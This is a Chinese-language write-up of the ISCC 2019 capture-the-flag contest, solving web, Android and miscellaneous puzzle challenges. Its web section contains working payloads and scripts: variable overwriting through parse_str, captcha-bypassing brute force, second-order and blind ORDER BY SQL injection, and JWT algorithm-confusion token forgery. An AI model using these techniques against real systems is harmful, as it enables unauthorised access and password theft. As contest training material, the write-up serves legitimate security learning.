一、Web

0x01. web4

靶机:http://39.100.83.188:8066

知识点:代码审计,函数使用不恰当,变量覆盖

原题:https://www.securepatterns.com/2019/04/

步骤:

1.打开靶机,发现直接显示了源码。

<?php 
error_reporting(0); 
include("flag.php"); 
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a'; 
$parsed = parse_url($_SERVER['REQUEST_URI']); 
if(isset($parsed["query"])){ 
    $query = $parsed["query"]; 
    $parsed_query = parse_str($query); 
    if($parsed_query!=NULL){ 
        $action = $parsed_query['action']; 
    } 

    if($action==="auth"){ 
        $key = $_GET["key"]; 
        $hashed_input = hash('sha256', $key); 
        if($hashed_input!==$hashed_key){ 
            die("<img src='cxk.jpg'>"); 
        } 

        echo $flag; 
    } 
}else{ 
    show_source(__FILE__); 
}?>

2.审一下,发现了当传入的参数中 action 为 auth,并且 key 和 hashed_key 相等时,就给出 flag。

3.但注意,这里有用到一个非常危险的函数 parse_str,参看 https://www.php.net/manual/zh/function.parse-str.php,如果传入的是 query_string(形如 a=1&b=2 ),那么就会将其解析为变量(设置变量 a=1, b=2)

4.好说了,那么我们就可以玩变量覆盖了,将 hashed_key 覆盖为我们想要的值即可,那么这里我选择覆盖 sha256(“glzjin”) = b262138fc423f9f944a3161a28e3e7e3a1e779c39c5240f0399f923053e6e371,payload 如下:

/?action=auth&key=glzjin&hashed_key=b262138fc423f9f944a3161a28e3e7e3a1e779c39c5240f0399f923053e6e371

5. Flag 到手~

0x02. web2

靶机:http://39.100.83.188:8002/

知识点:暴力破解,验证码绕过

步骤:

1.打开靶机,发现是个登录页面。

2.测试登录,抓个包试试。

3.OK,既然提示了三位数字,那么就来暴力破解吧。

还观察到一个有意思的现象,要是不访问 /vcode.php,不产生 session,不带上 cookie 访问的话,那么验证码就形同虚设了,可以绕过了。

所以 Python 脚本如下:

import requests

# session = requests.Session()

for i in range(1, 999):
    password = str(i)
    if len(password) == 1:
        password = '00' + password
    elif len(password) == 2:
        password = '0' + password

    r = requests.post("http://39.100.83.188:8002/login.php", data = {'username': 'admin', 'pwd': password, 'Login': 'submit'})
    r.encoding = 'unicode'
    print(password + ' ' + r.text)
    if r.text != '密码错误':
        break

4.跑一下~

5.Flag 到手~

0x03. web1

靶机:http://39.100.83.188:8001

知识点:代码审计,PHP函数缺陷(特性?)

步骤:

1.打开靶机,又是直接看到源码了。

<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
    if ($value[$i] > 32 && $value[$i] < 127) unset($value);
    else $username .= chr($value[$i]);
    if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
        echo 'Hello '.$username.'!', '<br>', PHP_EOL;
        echo $flag, '<hr>';
    }
}

highlight_file(__FILE__);

2.审代码。

首先看到从请求中获取了 value 和 password,其中 value 是个数组,先判断是否大于 33 小于 127,符合会被 unset 不处理,不符合的才基于 ASCII 码表将其中的元素逐个从数字转为字符,拼接成用户名。

然后判断用户名是否为 w3lc0me_To_ISCC2019,再判断用 intval 之后的 password 是否小于 2333, intval 之后的 password + 1 是否大于 2333。

3.看到这里,

会对传入值取 256 模。那么我们传入一个大一些的数字就可以绕过了。

  • 写个小脚本来生成 payload:
input_str = input()
result = ''

for i in input_str:
    result += '&value[]=' + str(ord(i) + 256)

print(result)
  • 对于 password 的判断,想起了 intval 的缺陷,只处理能处理的字符,比如对于 intval(‘0x01’),执行之后返回 0,但要是 intval(‘0x01’ + 1) 呢?PHP 会先将 ‘0x01’ 视作十六进制数与 1 相加,再丢给 intval 处理,那么结果就是 2,可以用下面的代码进行测试。
<?php
//0
echo intval('0x01').' ';
//2
echo intval('0x01' + 1).' ';

4. OK,那对照 ASCII 码表,以及上面我们的结论,得出以下 payload:

/?password=0xaaaa&value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313

0xaaaa = 43690 > 2333

5. 请求一下~

6. Flag 到手~

0x04. web3

靶机:http://39.100.83.188:8065/

知识点:二次注入

原题以及注意:此题解法不确定,虽然是 SQLi-Labs 的原题https://bbs.pediy.com/thread-251338.htm,但是大家都在试- -也不知道谁的方法对谁的方法错了。

步骤:

1.打开靶机。发现是这样一个页面。

页面标题为 Second Degree Injections,提示其为二次注入。

3.那么就来注册个带二次注入的账号试试。

4.再登录看看。

5.重新改个密码,原密码我输入了 123456。

6. 点提交,猜测程序是直接调用用户名,传到 sql 请求的时候没做过滤,所以这里执行的 sql 语句就大概是 update users set password=’123456′ where username=’admin’—-*****,可以直接改 admin 的密码了。看页面这个样子似乎是改成功了?

7.用 admin 和 123456 试试,登录成功。

PS: 这里可以写个脚本 用 admin 和 123456 不断登录试试,总有师傅会把密码改成 123456,这样捡别人的也可以了。

8. Flag 到手~

0x05. web6

靶机:http://39.100.83.188:8053/

原题:https://www.anquanke.com/post/id/145540

知识点:代码泄露,JWT 原理

步骤:

1.打开靶机,发现是这样一个页面。

2.那么就先注册了。

3.登录看看。

4.提交,抓包看看。

5. Authorization 这个头特别有意思,BASE64 解码看看。

6.看起来是 JWT,那么就到 https://jwt.io/ 解码看看。

7.OK,那么再来看看网页源码。

看到 /static/js/common.js,

最后有一段

function getpubkey(){
    /* 
    get the pubkey for test
    /pubkey/{md5(username+password)}
    */
}

咦,这是可以泄露 pubkey 了- -?

8.那么就构造个访问看看,我的用户名 glzjin,密码 123456,那么 md5(“glzjin123456”) 就是 578a0a535bce1db2a2de0cd58b776ebf

访问 /pubkey/578a0a535bce1db2a2de0cd58b776ebf

获得了 pubkey。

9. OK,那么我们来尝试更改一下 alg 所指代的算法,将其从 RS256 这种非对称加密改成 HS256 这种对称加密,这样我们有公钥就可以伪造 JWT Token 从而为所欲为了。

10.首先把 pubkey 存到一个文本文件里。空格换行自己处理好。

11.然后用 Python 脚本来伪造令牌,payload 部分填写自己想要的内容。

import jwt

public = open('1.txt', 'r').read()
print(jwt.encode({"name": "glzjin","priv": "admin"}, key=public, algorithm='HS256'))

12.运行,报错了。

Never mind,我们直接去库源码里把这一段删了。

再运行,就可以得到新的 JWT Token 了。

13.然后将这个 JWT Token 放到 LocalStorage 里,覆盖原先的 Token。

14.list 一下,看到开头那里是 admin 留的东西。

15.访问看看。/text/admin:22f1e0aa7a31422ad63480aa27711277

16. Flag 到手~

0x06. web5

靶机:http://39.100.83.188:8054/

知识点:User-Agent 伪造,参数猜解,Order By 注入

步骤:

1.打开靶机,提示这种东西。

2.那看看伪造 User-Agent 能不能成。

Http 头设置 User-Agent 为 aaaUnion.373,成了!

3.然后提示要用户名,来猜测下参数试试。

更改请求为 POST,添加一个参数 username,再发出请求。

OK,不再提示请输入用户名,username 这个参数猜出来了。

4.如法炮制,猜出 password 这个参数。

5.提示组织成员密码即为 flag。那么我们就来看看有没有注入能读出 flag 吧。

6.测试注入点。第二列为用户名列。猜测第三列为密码列。

发现其屏蔽了很多东西,where,and,括号,等号,下划线都给屏蔽了。

7.尝试构造请求绕过验证,获取用户名 union_373_Tom。

相当于 select * from table_name where username=”*/*’ and password=’*/”

等效于 select * from table_name where username=”*”

=”*”就任意匹配了,自己找个表做个实验可以验证。

相当于 select * from table_name

8.拿到用户名之后,来看看能不能搞到密码。

多方测试后,payload 如下

username=union_373_Tom' union all select 1,2,'1' /*
&password=*/ order by 3,2,'1

解释一下,这里会查询到两条记录,一条是 union_373_Tom 的(下文用原条目表示),还有一条是我们 union 进去的 2 的(下文用新条目表示)。

后面的 order by 排序是关键,首先对第三列也就是我们猜测的密码列进行排序,默认是升序的,字典序小的在前面。程序返回的都是排第一个的条目。

所以有三种情况,

  • 要是新条目第三列密码列(上文 payload 里为 ‘1’)字典序小于原条目第三列密码列,返回的就是新条目。
  • 要是相等就继续跳到第二列比较,第二列数据都是已知的,必然是新条目在前面,返回的就是新条目了。
  • 要是大于就返回原条目了。

构造了一个布尔条件,实现了我们可控的新条目的密码列与原条目密码列的字典序比较(小于等于)。

9.OK,那就说明我们可以构造请求,把原条目的密码给逐位跑出来了。

Python 脚本如下:

import binascii

import requests

url = "http://39.100.83.188:8054/"


def half(payload):
    low = 0
    high = 126
    while low <= high:
        mid = (low + high) / 2
        # 等效于 chr(int(mid)) <= chr(int(target))
        if http_get(payload + chr(int(mid))):
            low = mid + 1
        else:
            high = mid - 1
    mid_num = chr(int((low + high) / 2))
    return mid_num


def http_get(payload):
    str_16 = binascii.b2a_hex(payload.encode('utf-8'))
    print(str_16.decode())
    payload = "username=union_373_Tom'%20union%20all%20select%201%2C2%2C0x" + str_16.decode() + "%20%2F*&password=*%2F%20order%20by%203%2C2%2C'1"
    headers = {
        'user-agent': "aaaUnion.373",
        'Content-Type': "application/x-www-form-urlencoded"
    }

    response = requests.request("POST", url, data=payload, headers=headers)

    response.encoding = 'utf-8'

    if response.text.find('组织欢迎你,2!') != -1:
        return True
    else:
        return False


return_str = ''

# # 二分跑法
# 需要运行两次,中间有个特殊字符被过滤了- -
# 第一次:
# return_str = ''
# 第二次
# return_str = '1SCC_'
# while True:
#     temp_return_str = half(return_str)
#     if temp_return_str == '~':
#         break
#
#     return_str += temp_return_str
#     print(return_str)
# # 最后一位需要特殊处理,因为和原文相等了- -
# return_str = return_str[:-1] + chr(ord(return_str[-1]) + 1)

# 顺序跑法 需要请求 N*127 次 但只用运行一次
while True:
    for i in range(0, 127):
        temp_return_str = chr(i)
        if not http_get(return_str + temp_return_str):
            break

    if ord(temp_return_str) == 33:
        break

    return_str += chr(ord(temp_return_str) - 1)
    print(return_str)

print(return_str)

有两种跑法,二分和顺序,二分的话得运行两次,因为 order by 遇到下划线之类的符号似乎不得劲儿,顺序法的话还好,不受干扰。

关于这里

if ord(temp_return_str) == 33:
   break

这个 33,为 ASCII 的第一个可视字符(前面为空格)。 Mysql 似乎会忽略 ASCII 码小于 32 的不可视字符。而到了 33 一直跑下去,就永远是新条目字典序大,返回的就一直是原条目了。

10.运行脚本。

11.得到 Flag~

二、Mobile

0x01. Mobile01

附件:

知识点:Android逆向,NDK 静态分析

步骤:

1.安装一下,看看这是啥玩意儿。

输入注册码的话,会提示错误。

2.那么来解包看看。

3.然后用 dex2jar 把 dex 给解解。

d2j-dex2jar.sh classes.dex

4.然后用 jd-gui 打开看看。看到 com.iscc.crackme 的 MainActivity

5.审下代码,看到那个按钮按下之后会调用 checkFirst 和 checkSecond 两个方法,checkFirst 里先判断长度是否为 16 位,然后依次判断各位上是否为大于 0 小于 9 的数字(1~8),符合要求就返回 True。而对于 checkSecond,我们需要到 NDK 里看看了。

6.这里我们选择 lib/x86 下的 so 来分析。拖进 ida。

7.直接看到NDK调用的入口函数 Java_com_iscc_crackme_MainActivity_checkSecond,F5 看看。

可以看到主要是 checkfirst 和 checkAgain 两个函数在起作用,并且传入他们的参数似乎就是从 Java 程序里传过来的参数–那个注册码。

8.先看 checkfirst。

上面两个判断(别问我- -这里我没看明白),决定是处理前八位还是后八位,然后在这八位里逐位看后面的是否大于前面的,那么前八位和后八位中就必然有一段是 12345678 了。

9.再来看看 checkAgain。

一样的套路,和之前一样的判断。v13 那里似乎是把前八位取出来了,并且将其转换为对应的整型数字 – 1(减去的是 ASCII 码 49,也就是字符 1)了,而 v9那里则是把后八位给取出来了,v10,v11,v12按照地址进行计算,则分别是第十位,第十五位,第十六位。

再来看下面的判断,首先是第十六位和第九位相加要等于 5+2(前面转换的时候每一位都减 1 了) 也就是 7,第十位与第十五位相加要等于 12 + 2(同上) 也就是14。

而两个循环嵌套的情况下,就是前八位先对自身比较,确保没有重复的数字,后八位也是如此。再就是要求拆开之后看,前八位和后八位,相同位置上的数之间的差的绝对值不能相等。举个例子,我们有 12345678 31524678,这里前八位 3 – 1 = 2,而后八位 5 – 3 =2 ,这样就不符合条件了。

有这些理论条件做基础,我们就可以编写程序来调用这个 so 库进行爆破了。

11.打开 AndroidStudio,新建一个 APP。包名要和被爆破的源 APP 一致,为 com.iscc.crackme。

12.把之前解包出来的文件夹里的 libs 文件夹拷到我们创建的这个项目里。

13.修改 app 目录里的 build.gradle,添加如下的代码,使其打包时带上 NDK。

task nativeLibsToJar(type: Zip, description: "create a jar archive of the native libs") {
    destinationDir file("$projectDir/libs")
    baseName "Native_Libs2"
    extension "jar"
    from fileTree(dir: "libs", include: "**/*.so")
    into "lib"
}

tasks.withType(JavaCompile) {
    compileTask -> compileTask.dependsOn(nativeLibsToJar)
}

13.再修改 MainActivity,添加爆破相关逻辑。

package com.iscc.crackme;

import android.os.Bundle;
import android.support.design.widget.FloatingActionButton;
import android.support.design.widget.Snackbar;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.view.View;
import android.view.Menu;
import android.view.MenuItem;
import android.widget.TextView;

public class MainActivity extends AppCompatActivity {

    static
    {
        System.loadLibrary("native-lib");
    }

    private TextView tv;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        tv = this.findViewById(R.id.test);
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Toolbar toolbar = findViewById(R.id.toolbar);
        setSupportActionBar(toolbar);


        FloatingActionButton fab = findViewById(R.id.fab);
        fab.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {

                System.out.println("Start~");
                for(int i1 = 1; i1 <= 8; i1++) {
                    for(int i2 = 1; i2 <= 8; i2++) {
                        if(i1 == i2) {
                            continue;
                        }

                        for(int i3 = 1; i3 <= 8; i3++) {
                            if(i1== i3 || i2 == i3) {
                                continue;
                            }

                            for(int i4 = 1; i4 <= 8; i4++) {
                                if(i1 == i4 || i2 == i4 || i3 == i4) {
                                    continue;
                                }

                                for(int i5 = 1; i5 <= 8; i5++) {
                                    if(i1 == i5 || i2 == i5 || i3 == i5 || i4 == i5) {
                                        continue;
                                    }

                                    for(int i6 = 1; i6 <= 8; i6++) {
                                        if(i1 == i6 || i2 == i6 || i3 == i6 || i4 == i6 || i5 == i6) {
                                            continue;
                                        }

                                        for(int i7 = 1; i7 <= 8; i7++) {
                                            if(i1 == i7 || i2 == i7 || i3 == i7 || i4 == i7 || i5 == i7 || i6 == i7) {
                                                continue;
                                            }

                                            for(int i8 = 1; i8 <= 8; i8++) {
                                                if(i1 == i8 || i2 == i8 || i3 == i8 || i4 == i8 || i5 == i8 || i6 == i8 || i7 == i8) {
                                                    continue;
                                                }

                                                for(int i9 = 1; i9 <= 8; i9++) {
                                                    for(int i10 = 1; i10 <= 8; i10++) {
                                                        if(i9 == i10) {
                                                            continue;
                                                        }

                                                        for(int i11 = 1; i11 <= 8; i11++) {
                                                            if(i9 == i11 || i10 == i11) {
                                                                continue;
                                                            }

                                                            for(int i12 = 1; i12 <= 8; i12++) {
                                                                if(i9 == i12 || i10 == i12 || i11 == i12) {
                                                                    continue;
                                                                }

                                                                for(int i13 = 1; i13 <= 8; i13++) {
                                                                    if(i9 == i13 || i10 == i13 || i11 == i13 || i12 == i13) {
                                                                        continue;
                                                                    }

                                                                    for(int i14 = 1; i14 <= 8; i14++) {
                                                                        if(i9 == i14 || i10 == i14 || i11 == i14 || i12 == i14 || i13 == i14) {
                                                                            continue;
                                                                        }

                                                                        for(int i15 = 1; i15 <= 8; i15++) {
                                                                            if(i9 == i15 || i10 == i15 || i11 == i15 || i12 == i15 || i13 == i15 || i14 == i15) {
                                                                                continue;
                                                                            }

                                                                            for(int i16 = 1; i16 <= 8; i16++) {
                                                                                if(i9 == i16 || i10 == i16 || i11 == i16 || i12 == i16 || i13 == i16 || i14 == i16 || i15 == i16) {
                                                                                    continue;
                                                                                }

                                                                                String testStr = "";
                                                                                testStr += i1;
                                                                                testStr += i2;
                                                                                testStr += i3;
                                                                                testStr += i4;
                                                                                testStr += i5;
                                                                                testStr += i6;
                                                                                testStr += i7;
                                                                                testStr += i8;
                                                                                testStr += i9;
                                                                                testStr += i10;
                                                                                testStr += i11;
                                                                                testStr += i12;
                                                                                testStr += i13;
                                                                                testStr += i14;
                                                                                testStr += i15;
                                                                                testStr += i16;

                                                                                if(MainActivity.this.checkSecond(testStr)) {
                                                                                    System.out.println("Found!" + testStr);
                                                                                    break;
                                                                                }

                                                                            }
                                                                        }
                                                                    }
                                                                }
                                                            }
                                                        }
                                                    }
                                                }

                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }

                System.out.println("End~");

            }
        });
    }

    public native boolean checkSecond(String paramString);

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.menu_main, menu);
        return true;
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        // Handle action bar item clicks here. The action bar will
        // automatically handle clicks on the Home/Up button, so long
        // as you specify a parent activity in AndroidManifest.xml.
        int id = item.getItemId();

        //noinspection SimplifiableIfStatement
        if (id == R.id.action_settings) {
            return true;
        }

        return super.onOptionsItemSelected(item);
    }
}

写得丑了点,但速度还是挺快的。程序的主要目的就是生成符合上面分析出来的要求的注册码,然后传给 NDK 判断,找到返回为 True 的注册码。

项目打包:

14.运行,点一下,开跑。

15.得到符合条件的 1234567836275184,填回去试试。

16.Flag 到手~将这个作为 Flag 提交即可~

三、MISC

0x01. 隐藏的信息

附件:

知识点:观察?

步骤:

1.解包之后打开看看这个文件。似乎都是八进制,那转 ASCII 字符试试。

2.不磨叽,上脚本。

import base64

f = open("message.txt", "r")

s = f.readline().split(' ')
result = ''

for i in s:
    if i != '':
        result += chr(int(i, 8))

f.close()

print(base64.b64decode(result))

3.运行。

4.Flag 到手~

0x02.最危险的地方就是最安全的地方

附件:

知识点:观察?

步骤:

1.解包,发现是个图片,而且打不开。

2.那么 binwalk 走一波,似乎是个压缩文件。

3.解压看看。

4.进去一看,一大堆二维码。

5.每一个二维码内容都差不多。

6.看一下详细信息,发现有一个二维码特别大。

7.hex 编辑器打开看看,发现这么一段。

8.拷出来 Base64 解个码。

9.Flag 到手~提交中间的即可。

0x03.解密成绩单

附件:

知识点:.Net 反编译

步骤:

1.解压,是个 exe。

2.PEID 看看,.Net?

3.来,.Net 反编译走一波。https://github.com/icsharpcode/ILSpy/releases

4.然后来随意看看,看到 checkUsername 这个方法。看来用户名是 admin 了。

5.然后看到 checkPassword 这个方法,看来密码是 ISCCq19pc1Yhb6SqtGhliYH688feCH7lqQxtfa2MpOdONW1wmIleBo4TW5n 了。

6.输入进去试试。

7.Flag 到手~

0x04.Welcome

附件:

知识点:密文分析

步骤:

1.解包,是个 Txt,打开看看。注意编码切成 GBK。

2.然后来统计一下每一组词的出现频率。这里我们将每组词 md5 之后作为 dict 的 key,便于处理。

import hashlib

f = open("welcome.txt", "r")

s = f.readline().split(' ')


def md5(str):
    m = hashlib.md5()
    m.update(str.encode())
    h = m.hexdigest()
    return h


result = {}
for i in s:
    key = md5(i)
    if key not in result:
        print(i + " " + key)
        result[key] = 0
    result[key] += 1

print(result)

3.运行一下,结果如下。其中有四组的数比较多。

分别是:

  • 洮蓠朩暒戶囗
  • 萇條戶囗
  • 萇條蓅烺計劃
  • 洮蓠朩暒蓅烺計劃

4.想了蛮久,想试试是不是这四个词分别代表 0 和 1,然后每八位代表一个 ASCII 字符,那我们写个脚本来跑一下每种代表的组合,看能跑出来些什么。

import hashlib

f = open("welcome.txt", "r")

s = f.readline().split(' ')


def md5(str):
    m = hashlib.md5()
    m.update(str.encode())
    h = m.hexdigest()
    return h


for s1 in range(0, 2):
    for s2 in range(0, 2):
        for s3 in range(0, 2):
            for s4 in range(0, 2):
                dicts = {md5('洮蓠朩暒戶囗'): str(s1), md5('萇條戶囗'): str(s2), md5('萇條蓅烺計劃'): str(s3), md5('洮蓠朩暒蓅烺計劃'): str(s4)}

                result = ''
                for i in s:
                    key = md5(i)
                    if key in dicts:
                        result += dicts[key]

                flag = ""
                for i in range(0, len(result), 8):
                    flag += chr(int(result[i:i + 8], 2))
                print(flag)

5.啊哈,还真跑出来了。

6.Flag 到手~最后一位自己修正下吧。

0x05.倒立屋

附件:

知识点:LSB,脑洞

步骤:

1.解压,是个这样的图。

2.hex 编辑器打开看看,没看到什么端倪。

3.打开 StegSolve 看看。

4.点 Analyse–Data Extract,然后 Bit Planes 逐位试试,发现 RGB 都点到 0 的时候(这里显示不全- -用 Tab 切过去忙打上的)开头有东西。

5.直接提交不行,倒过来提交就行了。

6.Flag 到手~

0x06.无法运行的exe

附件:

知识点:分析,图片修复。

步骤:

1.解包看看,原本我是想图省事,就先拿 hex 编辑器打开看看了。没想到直接就看到里面是串 base64。

2.解个码看看,似乎是 png。

3.那就找个工具把它转成文件。

4.下载下来还是打不开。

5.找个工具修修。https://github.com/sherlly/PCRT

6.打开修复之后的图片看看,是个二维码。

7.扫描得到 Flag~

8. Flag 到手~

0x07.High起来!

附件:

知识点: MP3 隐写,当铺密码

步骤:

1.解包,打开,发现是个图片,但打不开。

2.那就 binwalk 走一波,有个压缩包。

3.解压看看,是个 MP3。

4.Audacity 打开看看,没看见什么端倪。

5.那么还是再回到之前这个 png 吧,hex 打开看看。发现开头有个 PNG,那么我们搜索 504B,把后面的其他数据去掉。

6.然后用 PCRT 修复下。

7.发现是个二维码。

8.扫描一下,得到 中口由羊口中中大中中中井。

9.似乎是当铺密码,解密试试。得到 201902252228 http://www.zjslove.com/3.decode/dangpu/index.html

10.再用 mp3stegohttps://www.petitcolas.net/steganography/mp3stego/ 来处理下。

cd 到这里。

Decode.exe -X 01.mp3 -P 201902252228

11.打开 01.mp3.txt,得到如下的 HTML Markup

flag{PrEtTy_1ScC9012_gO0d}

12.上个 Python 脚本解码。

import HTMLParser

s = 'flag{PrEtTy_1ScC9012_gO0d}'
h = HTMLParser.HTMLParser()
print(h.unescape(s))

13.运行

14.Flag 到手~

0x08.他们能在一起吗?

附件:

步骤:

1.是个二维码。

2.扫一下得 UEFTUyU3QjBLX0lfTDBWM19ZMHUlMjElN0Q=,解码得 PASS%7B0K_I_L0V3_Y0u%21%7D,URL Decode 之后得 PASS{0K_I_L0V3_Y0u!}。看起来是密码。

3.binwalk 看下,还有个压缩文件。

4.解压,需要密码,填入上面得到的密码。

5.打开解压出来的文件。

6.Flag 到手~

PS: 我也想要女朋友呀ヾ(=・ω・=)o

0x09.Keyes’ secret

附件:

步骤:

1.解包之后是个文本文件。

2.题面有提示键盘。那么就考虑是键盘密码了。上网找个脚本来解。https://nitesculucian.github.io/2018/09/30/dctf-2018-message/

这里我们就处理 {} 包起来的密文就好,因为这脚本里的字典和这题用到的还是有些不同的,要扩充太多就很累了。

最终 Python 脚本如下:

keyboard = [
    [[" "], ["QWERTY", "ASDFGH", "ZXCVBN"]],
    [["A"], ["XCVBGRD", "GRDXCVB", "ZSEFVCX"]],
    [["B"], ["WSXCFD", "RFVBHG", "QAZXDS", "YHNMKJ"]],
    [["C"], ["REDCV", "EWSXC", "TRFVB"]],
    [["D"], ["EDCVGR", "WSXCFE", "YHNMKU"]],
    [["E"], ["EDCVRF", "WSXCDE", "TGBNHY"]],
    [["F"], ["REDCF", "TRFVG", "EWSXD"]],
    [["G"], ["REDCVG", "CVGRED", "CVRGED"]],
    [["H"], ["WSXDRFV", "EDCFTGB", "RFVGYHN"]],
    [["I"], ["WSX", "EDC", "RFV"]],
    [["J"], ["UJMN", "WSXZ", "RFVC"]],
    [["K"], ["EDCFBY", "WSXDVR", "QAZSCE"]],
    [["L"], ["WSXCV", "EDCVB", "RFVBN"]],
    [["M"], ["ZAQWDRTGB", "XSWEFTYHN", "XSWEFTYNH"]],
    [["N"], ["ZAQWDVFR", "XSWEFTGB", "XSWEFTBG"]],
    [["O"], ["QAZXCDEW", "WSXCVFRE", "RFVBNHYT", "TGBNMJUY"]],
    [["P"], ["MNBVCCDERTG", "NBVCXSWERF", "NBVCXSWEFR"]],
    [["Q"], ["QAZXCDEWV", "EDCVBGTRN", "RFVBNHYTM"]],
    [["R"], ["MNBVCDRTGHU", "MNBVCDRTGHU", "MNBVCDRTGHU"]],
    [["S"], ["YTRFVCX", "IUYHNBV", "IUYHNBV"]],
    [["T"], ["WERTYFV", "RTYUIHN", "RTYUIHN"]],
    [["U"], ["WSXCVFR", "EDCVBGT", "EDCVBGT"]],
    [["V"], ["EFVGY", "WDCFT", "WDCFT"]],
    [["W"], ["EFVGYWDCFT", "EFVGYWDCFT", "EFVGYWDCFT"]],
    [["X"], ["WDVTDZ", "RGNYGC", "RGNYGC"]],
    [["Y"], ["JMYI", "EFVT", "EFVT"]],
    [["Z"], ["QWERDCVB", "ERTGVBN", "ERTGVBN"]]
]

def nliqwerty_dec(buf):
    dec_buf = buf
    result = ""
    while len(dec_buf) > 0:
        if dec_buf[:1] == '{' or dec_buf[:1] == '}' or dec_buf[:1] == '.' or dec_buf[:1] == ',':
            result += dec_buf[:1]
            dec_buf = dec_buf[1:]
            continue

        is_found = False
        for i in range(11, 2, -1):
            for count in range(0, 27):
                for j in keyboard[count][1]:
                    if dec_buf[:i] == j:
                        result += keyboard[count][0][0]
                        dec_buf = dec_buf[i:]
                        is_found = True
                        break

            if is_found:
                break


    print(result)


nliqwerty_dec("{WSXIUYHNBVTRFVBTRFVBQWERTYQAZSCEWSXCDEEFVTYHNMKJTGBNMJUYGRDXCVBMNBVCDRTGHUWSXCFEQWERTYTRFVBWSXNBVCXSWERFRFVGYHNWSXCDEMNBVCDRTGHU}")

3.运行

4.Flag 到手~

0x0a.Aesop’s secret

附件:

知识点:拼图,AES 加密

步骤:

1.打开看看,是个 gif 图。而且一直在不同位置跳。

2.找个工具分解下。https://zh.bloggif.com/gif-extract

3.将其中间部分拼起来之后,是 “ISCC” 字样。

4.而后用 hex 编辑器打开这个 gif 看看。最后这里有一段 Base64。

5.解码之后 Salted__Pi 开头,说明是 AES 加密。

6.https://www.sojson.com/encrypt_aes.html 解密试试,密码就是上面拼出来的 “ISCC” 。

7.对解密得到的东西再解密一次。

8.Flag 到手~

0x0b.碎纸机

附件:

知识点:

步骤:

1.打开看看,是个图片。

2. binwalk 走一波,有压缩包。

3.解压一下。

4.简单看看,是一堆拼图和一个文本文件。

文本文件内容如下:

OpenCV?看来得从图片入手。

5.用 hex 编辑器打开这些图片,发现最后有东西。

6.将 FFD9 之后的十六进制值复制到文本编辑器,搜索 00,开高亮。

7.不断调整窗口大下,并设置让内容适应窗口大小。可以看到非 00 的部分是可以拼成字符的。

第一幅图看来就是 Fl 了。

8.对剩下几幅图也如法炮制。每幅图的内容可能有重复,自己看的时候细心些。

第二幅图:

ag=

第三幅图:

{ISC

第四幅图:

C_

第五幅图:

is_s(这里比较难看,不过最后拼出来之后是个英语句子,所以可以按照内容修正下)

第六幅图:

o_i

第七幅图:

nter

第八幅图:

esti

第九幅图:

ng_

第十幅图:

!}

9.拼起来,就是 Flag={ISCC_is_so_interesting_!}

10.Flag 到手~